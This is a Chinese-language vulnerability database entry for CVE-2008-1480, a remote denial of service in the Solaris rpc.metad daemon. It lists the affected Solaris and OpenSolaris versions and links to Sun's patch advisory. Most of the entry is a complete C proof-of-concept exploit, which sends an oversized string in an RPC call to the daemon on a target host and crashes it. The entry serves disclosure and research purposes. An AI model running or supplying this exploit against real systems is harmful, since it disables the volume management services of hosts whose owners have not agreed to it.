Lucene search

K
seebugRootSSV:4653
HistoryJan 12, 2009 - 12:00 a.m.

Sun Solaris rpc.metad远程拒绝服务漏洞

2009-01-1200:00:00
Root
www.seebug.org
13

EPSS

0.102

Percentile

95.0%

BUGTRAQ ID: 28261
CVE(CAN) ID: CVE-2008-1480

Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。

如果远程攻击者向Solaris提交了恶意RPC请求的话,就会导致rpc.metad(1M)崩溃,服务和Solaris卷标管理器(SVM)命令会失效,这是一种拒绝服务。

Sun Solaris 9.0_x86
Sun Solaris 9.0
Sun Solaris 10.0_x86
Sun Solaris 10.0
Sun OpenSolaris snv_01 - snv_95
Sun Solstice Disk Suite 4.2.1
厂商补丁:

Sun

Sun已经为此发布了一个安全公告(Sun-Alert-249146)以及相应补丁:
Sun-Alert-249146:The Solaris rpc.metad(1M) Daemon is Vulnerable to a Denial of Service (DoS) Attack
链接:<a href=“http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-66-249146-1” target=“_blank”>http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-66-249146-1</a>


                                                /*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC              #*/
/*## causes DoS on rpc.metad                     	   #*/
/*## (C) 2008 - Kingcope                                   #*/
/*##########################################################*/
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;rpc/rpc.h&gt;
#include &lt;netdb.h&gt;
#include &lt;stdio.h&gt;
#include &lt;errno.h&gt;

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&amp;obj-&gt;string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf(&quot;rpc.metad for solaris 10\n\n&quot;);

    if(argc&lt;2){
        printf(&quot;usage: %s address\n&quot;,argv[0]);
        exit(-1);
    }

    printf(&quot;Using version %d and request no. %d!!\n&quot;, METAD_VERS, METAD_FUNC);

    printf(&quot;timeout=%d &quot;,ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror(&quot;error&quot;);exit(-1);
        }
        memcpy(&amp;adr.sin_addr.s_addr,hp-&gt;h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&amp;adr,METAD_PROG,METAD_VERS,&amp;sck,0,0))){
        clnt_pcreateerror(&quot;error&quot;);exit(-1);
    }
    cl-&gt;cl_auth=authunix_create(&quot;localhost&quot;,0,0,0,NULL);

    memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
    buffer[3000]=0;

    req.string=buffer;

    stat=clnt_call(cl,METAD_FUNC,xdr_req,&amp;req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf(&quot;\nerror: not vulnerable\n&quot;);
    printf(&quot;sent!\n&quot;); /* if(!flag) exit(0);*/

    }
}

                              

EPSS

0.102

Percentile

95.0%